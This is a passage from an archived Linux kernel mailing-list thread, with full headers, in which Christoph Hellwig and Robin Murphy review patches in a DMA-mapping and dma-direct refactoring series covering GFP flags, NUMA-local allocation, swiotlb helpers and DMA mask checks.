> more complex in that the changes probably need to span the BAM dmaengine 
> driver as well.

Sounds great, although probably something for the next merge window.

In the meantime does this patch looks good to you?

From - Thu Nov 08 21:40:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 20/33] dma-mapping: clear harmful GFP_* flags in common
        code
Date: Wed, 10 Jan 2018 16:29:45 +0100
Lines: 7
Approved: news@gmane.org
Message-ID: <20180110152945.GC17790@lst.de>
References: <20180110080027.13879-1-hch@lst.de> <20180110080027.13879-21-hch@lst.de> <27b90341-f9d0-356f-0194-1c7203a3f93e@arm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1515598069 5675 195.159.176.226 (10 Jan 2018 15:27:49 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 15:27:49 +0000 (UTC)
User-Agent: Mutt/1.5.17 (2007-11-01)
Cc: Christoph Hellwig <hch@lst.de>, iommu@lists.linux-foundation.org,
        linux-mips@linux-mips.org, linux-ia64@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, linux-arch@vger.kernel.org,
        linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, x86@kernel.org,
        Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-snps-arc@lists.infradead.org,
        linux-m68k@lists.linux-m68k.org, patches@groups.riscv.org,
        linux-metag@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
        Michal Simek <monstr@monstr.eu>, linux-parisc@vger.kernel.org,
        linux-cris-kernel@axis.com, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org, linuxppc-dev@lists.ozlabs.org
To: Robin Murphy <robin.murphy@arm.com>
Original-X-From: linux-m68k-owner@vger.kernel.org Wed Jan 10 16:27:43 2018
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1eZII3-0006MM-4d
	for glpm-linux-m68k@m.gmane.org; Wed, 10 Jan 2018 16:27:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933299AbeAJP3q (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Wed, 10 Jan 2018 10:29:46 -0500
Original-Received: from verein.lst.de ([213.95.11.211]:47556 "EHLO newverein.lst.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S932448AbeAJP3q (ORCPT <rfc822;linux-m68k@lists.linux-m68k.org>);
        Wed, 10 Jan 2018 10:29:46 -0500
Original-Received: by newverein.lst.de (Postfix, from userid 2407)
        id 33AFE9F162; Wed, 10 Jan 2018 16:29:45 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <27b90341-f9d0-356f-0194-1c7203a3f93e@arm.com>
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9900 gmane.linux.kernel.iommu:22102 gmane.linux.ports.mips.general:63259 gmane.linux.ports.ia64:28572 gmane.linux.ports.sh.devel:56275 gmane.linux.ports.sparc:27227 gmane.linux.kernel.cross-arch:41319 gmane.linux.ports.hexagon:1544 gmane.linux.kernel.arc:3328 gmane.linux.kernel.metag:1620 gmane.linux.ports.arm.kernel:625184 gmane.linux.ports.parisc:28220 gmane.linux.kernel:2663157 gmane.linux.ports.alpha:4718 gmane.linux.ports.ppc64.devel:151903
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9900>

On Wed, Jan 10, 2018 at 11:59:30AM +0000, Robin Murphy wrote:
> Just a note that if we're all happy to enshrine the "allocations are always 
> zeroed" behaviour in the API (I am too, for the record), we should remember 
> to follow up once the dust settles to update the docs and I guess just 
> #define dma_zalloc_coherent dma_alloc_coherent.

And then just remove it.  But yes, another item for the todo list..

From - Thu Nov 08 21:40:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 27/33] dma-direct: use node local allocations for
	coherent memory
Date: Wed, 10 Jan 2018 16:30:17 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <20180110153017.GD17790@lst.de>
References: <20180110080027.13879-1-hch@lst.de>
	<20180110080027.13879-28-hch@lst.de>
	<3672aa56-b85c-5d2c-0c0e-709031b0c0a0@arm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1515598110 14325 195.159.176.226 (10 Jan 2018 15:28:30 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 15:28:30 +0000 (UTC)
User-Agent: Mutt/1.5.17 (2007-11-01)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>,
	Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	Konrad Rzeszutek Wilk <konrad-Gq0aWv8utHQdnm+yROfE0A@public.gmane.org>,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-cris-kernel-VrBV9hrLPhE@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: Robin Murphy <robin.murphy-5wv7dgnIgG8@public.gmane.org>
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Wed Jan 10 16:28:24 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eZIIf-00033z-TU
	for glki-iommu@m.gmane.org; Wed, 10 Jan 2018 16:28:22 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 528C3DE5;
	Wed, 10 Jan 2018 15:30:20 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 66953DCF
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Wed, 10 Jan 2018 15:30:19 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from newverein.lst.de (verein.lst.de [213.95.11.211])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 00272163
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Wed, 10 Jan 2018 15:30:18 +0000 (UTC)
Original-Received: by newverein.lst.de (Postfix, from userid 2407)
	id 7D4B89F163; Wed, 10 Jan 2018 16:30:17 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <3672aa56-b85c-5d2c-0c0e-709031b0c0a0-5wv7dgnIgG8@public.gmane.org>
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:22103 gmane.linux.ports.mips.general:63260 gmane.linux.ports.ia64:28573 gmane.linux.ports.sh.devel:56276 gmane.linux.ports.sparc:27228 gmane.linux.kernel.cross-arch:41320 gmane.linux.ports.hexagon:1545 gmane.linux.kernel.arc:3329 gmane.linux.kernel.metag:1621 gmane.linux.ports.arm.kernel:625185 gmane.linux.ports.parisc:28221 gmane.linux.kernel:2663158 gmane.linux.ports.alpha:4719 gmane.linux.ports.ppc64.devel:151904
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/22103>

On Wed, Jan 10, 2018 at 12:06:22PM +0000, Robin Murphy wrote:
> On 10/01/18 08:00, Christoph Hellwig wrote:
>> To preserve the x86 behavior.
>
> And combined with patch 10/22 of the SWIOTLB refactoring, this means 
> SWIOTLB allocations will also end up NUMA-aware, right? Great, that's what 
> we want on arm64 too :)

Well, only for swiotlb allocations that can be satisfied by
dma_direct_alloc.  If we actually have to fall back to the swiotlb
buffers there is not node affinity yet.

From - Thu Nov 08 21:40:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Robin Murphy <robin.murphy@arm.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 11/33] dma-mapping: move swiotlb arch helpers to a new
 header
Date: Wed, 10 Jan 2018 15:31:08 +0000
Lines: 23
Approved: news@gmane.org
Message-ID: <b0f90ed0-989f-4dc2-6f86-de8b4e486b55@arm.com>
References: <20180110080027.13879-1-hch@lst.de>
 <20180110080027.13879-12-hch@lst.de>
 <3721b4ba-0685-255e-06b9-6e60678a1a92@arm.com>
 <20180110152617.GB17790@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1515598163 25709 195.159.176.226 (10 Jan 2018 15:29:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 15:29:23 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.0
Cc: iommu@lists.linux-foundation.org, linux-mips@linux-mips.org,
        linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
        linux-arch@vger.kernel.org, linux-s390@vger.kernel.org,
        linux-c6x-dev@linux-c6x.org, linux-hexagon@vger.kernel.org,
        x86@kernel.org, Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-snps-arc@lists.infradead.org,
        linux-m68k@lists.linux-m68k.org, patches@groups.riscv.org,
        linux-metag@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
        Michal Simek <monstr@monstr.eu>, linux-parisc@vger.kernel.org,
        linux-cris-kernel@axis.com, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org, linuxppc-dev@lists.ozlabs.org
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-ia64-owner@vger.kernel.org Wed Jan 10 16:29:17 2018
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1eZIJV-00052U-1S
	for glpi-linux-ia64-2@m.gmane.org; Wed, 10 Jan 2018 16:29:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S964819AbeAJPbP (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Wed, 10 Jan 2018 10:31:15 -0500
Original-Received: from foss.arm.com ([217.140.101.70]:44038 "EHLO foss.arm.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S932459AbeAJPbO (ORCPT <rfc822;linux-ia64@vger.kernel.org>);
        Wed, 10 Jan 2018 10:31:14 -0500
Original-Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.72.51.249])
        by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id 11D78F;
        Wed, 10 Jan 2018 07:31:14 -0800 (PST)
Original-Received: from [10.1.210.88] (e110467-lin.cambridge.arm.com [10.1.210.88])
        by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPSA id 4DB133F487;
        Wed, 10 Jan 2018 07:31:10 -0800 (PST)
In-Reply-To: <20180110152617.GB17790@lst.de>
Content-Language: en-GB
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:28574 gmane.linux.kernel.iommu:22104 gmane.linux.ports.mips.general:63261 gmane.linux.ports.sh.devel:56277 gmane.linux.ports.sparc:27229 gmane.linux.kernel.cross-arch:41321 gmane.linux.ports.hexagon:1546 gmane.linux.kernel.arc:3330 gmane.linux.kernel.metag:1622 gmane.linux.ports.arm.kernel:625186 gmane.linux.ports.parisc:28222 gmane.linux.kernel:2663160 gmane.linux.ports.alpha:4720 gmane.linux.ports.ppc64.devel:151905
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28574>

On 10/01/18 15:26, Christoph Hellwig wrote:
> On Wed, Jan 10, 2018 at 02:56:01PM +0000, Robin Murphy wrote:
>> I took a look at these, and it seems their phys_to_dma() usage is doing the
>> thing which we subsequently formalised as dma_map_resource(). I've had a
>> crack at a quick patch to update the CESA driver; qcom_nandc looks slightly
>> more complex in that the changes probably need to span the BAM dmaengine
>> driver as well.
> 
> Sounds great, although probably something for the next merge window.
> 
> In the meantime does this patch looks good to you?

Yes indeed, modulo Vladimir's comments - it does seem prudent to fix the 
obvious off-by-ones as we touch them. I've wanted to do something like 
this for ages, but never got around to it myself.

Thanks,
Robin.
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 31/33] dma-direct: reject too small dma masks
Date: Wed, 10 Jan 2018 16:32:26 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <20180110153226.GE17790@lst.de>
References: <20180110080027.13879-1-hch@lst.de> <20180110080027.13879-32-hch@lst.de> <0bcca030-a8da-c34a-a905-707986689f33@arm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1515598235 9829 195.159.176.226 (10 Jan 2018 15:30:35 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 15:30:35 +0000 (UTC)
User-Agent: Mutt/1.5.17 (2007-11-01)
Cc: Christoph Hellwig <hch@lst.de>, iommu@lists.linux-foundation.org,
        linux-mips@linux-mips.org, linux-ia64@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, linux-arch@vger.kernel.org,
        linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, x86@kernel.org,
        Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-snps-arc@lists.infradead.org,
        linux-m68k@lists.linux-m68k.org, patches@groups.riscv.org,
        linux-metag@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
        Michal Simek <monstr@monstr.eu>, linux-parisc@vger.kernel.org,
        linux-cris-kernel@axis.com, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org, linuxppc-dev@lists.ozlabs.org
To: Robin Murphy <robin.murphy@arm.com>
Original-X-From: linux-m68k-owner@vger.kernel.org Wed Jan 10 16:30:29 2018
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1eZIKe-0008Am-Ha
	for glpm-linux-m68k@m.gmane.org; Wed, 10 Jan 2018 16:30:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753393AbeAJPc2 (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Wed, 10 Jan 2018 10:32:28 -0500
Original-Received: from verein.lst.de ([213.95.11.211]:47624 "EHLO newverein.lst.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752580AbeAJPc2 (ORCPT <rfc822;linux-m68k@lists.linux-m68k.org>);
        Wed, 10 Jan 2018 10:32:28 -0500
Original-Received: by newverein.lst.de (Postfix, from userid 2407)
        id A5D799F162; Wed, 10 Jan 2018 16:32:26 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <0bcca030-a8da-c34a-a905-707986689f33@arm.com>
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9903 gmane.linux.kernel.iommu:22105 gmane.linux.ports.mips.general:63262 gmane.linux.ports.ia64:28575 gmane.linux.ports.sh.devel:56278 gmane.linux.ports.sparc:27230 gmane.linux.kernel.cross-arch:41322 gmane.linux.ports.hexagon:1547 gmane.linux.kernel.arc:3331 gmane.linux.kernel.metag:1623 gmane.linux.ports.arm.kernel:625188 gmane.linux.ports.parisc:28223 gmane.linux.kernel:2663163 gmane.linux.ports.alpha:4721 gmane.linux.ports.ppc64.devel:151906
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9903>

On Wed, Jan 10, 2018 at 11:49:34AM +0000, Robin Murphy wrote:
>> +#ifdef CONFIG_ZONE_DMA
>> +	if (mask < DMA_BIT_MASK(ARCH_ZONE_DMA_BITS))
>> +		return 0;
>> +#else
>> +	/*
>> +	 * Because 32-bit DMA masks are so common we expect every architecture
>> +	 * to be able to satisfy them - either by not supporting more physical
>> +	 * memory, or by providing a ZONE_DMA32.  If neither is the case, the
>> +	 * architecture needs to use an IOMMU instead of the direct mapping.
>> +	 */
>> +	if (mask < DMA_BIT_MASK(32))
>> +		return 0;
>
> Do you think it's worth the effort to be a little more accommodating here? 
> i.e.:
>
> 		return dma_max_pfn(dev) >= max_pfn;
>
> We seem to have a fair few 28-31 bit masks for older hardware which 
> probably associates with host systems packing equivalently small amounts of 
> RAM.

And those devices don't have a ZONE_DMA?  I think we could do something
like that, but I'd rather have it as a separate commit with a good
explanation.  Maybe you can just send on on top of the series?

From - Thu Nov 08 21:40:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 11/33] dma-mapping: move swiotlb arch helpers to a new
        header
Date: Wed, 10 Jan 2018 16:40:50 +0100
Lines: 7
Approved: news@gmane.org
Message-ID: <20180110154050.GA18428@lst.de>
References: <20180110080027.13879-1-hch@lst.de> <20180110080027.13879-12-hch@lst.de> <3721b4ba-0685-255e-06b9-6e60678a1a92@arm.com> <20180110152617.GB17790@lst.de> <b0f90ed0-989f-4dc2-6f86-de8b4e486b55@arm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1515598738 30432 195.159.176.226 (10 Jan 2018 15:38:58 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 15:38:58 +0000 (UTC)
User-Agent: Mutt/1.5.17 (2007-11-01)
Cc: Christoph Hellwig <hch@lst.de>, iommu@lists.linux-foundation.org,
        linux-mips@linux-mips.org, linux-ia64@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, linux-arch@vger.kernel.org,
        linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, x86@kernel.org,
        Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-snps-arc@lists.infradead.org,
        linux-m68k@lists.linux-m68k.org, patches@groups.riscv.org,
        linux-metag@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
        Michal Simek <monstr@monstr.eu>, linux-parisc@vger.kernel.org,
        linux-cris-kernel@axis.com, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org, linuxppc-dev@lists.ozlabs.org
To: Robin Murphy <robin.murphy@arm.com>
Original-X-From: linux-m68k-owner@vger.kernel.org Wed Jan 10 16:38:52 2018
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1eZISo-00072M-GK
	for glpm-linux-m68k@m.gmane.org; Wed, 10 Jan 2018 16:38:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933722AbeAJPkw (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Wed, 10 Jan 2018 10:40:52 -0500
Original-Received: from verein.lst.de ([213.95.11.211]:47680 "EHLO newverein.lst.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S933735AbeAJPkw (ORCPT <rfc822;linux-m68k@lists.linux-m68k.org>);
        Wed, 10 Jan 2018 10:40:52 -0500
Original-Received: by newverein.lst.de (Postfix, from userid 2407)
        id 8B1449F162; Wed, 10 Jan 2018 16:40:50 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <b0f90ed0-989f-4dc2-6f86-de8b4e486b55@arm.com>
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9904 gmane.linux.kernel.iommu:22107 gmane.linux.ports.mips.general:63264 gmane.linux.ports.ia64:28577 gmane.linux.ports.sh.devel:56279 gmane.linux.ports.sparc:27231 gmane.linux.kernel.cross-arch:41324 gmane.linux.ports.hexagon:1548 gmane.linux.kernel.arc:3332 gmane.linux.kernel.metag:1624 gmane.linux.ports.arm.kernel:625191 gmane.linux.ports.parisc:28224 gmane.linux.kernel:2663174 gmane.linux.ports.alpha:4722 gmane.linux.ports.ppc64.devel:151908
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9904>

On Wed, Jan 10, 2018 at 03:31:08PM +0000, Robin Murphy wrote:
> Yes indeed, modulo Vladimir's comments - it does seem prudent to fix the 
> obvious off-by-ones as we touch them. I've wanted to do something like this 
> for ages, but never got around to it myself.

I've fixed these now in a separate patch.  I'm taking this as an
Acked-by.

From - Thu Nov 08 21:40:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Robin Murphy <robin.murphy@arm.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 27/33] dma-direct: use node local allocations for coherent
 memory
Date: Wed, 10 Jan 2018 16:49:58 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <3f37ba8d-66fa-80e2-bbe1-77c2a4323d6b@arm.com>
References: <20180110080027.13879-1-hch@lst.de>
 <20180110080027.13879-28-hch@lst.de>
 <3672aa56-b85c-5d2c-0c0e-709031b0c0a0@arm.com>
 <20180110153017.GD17790@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
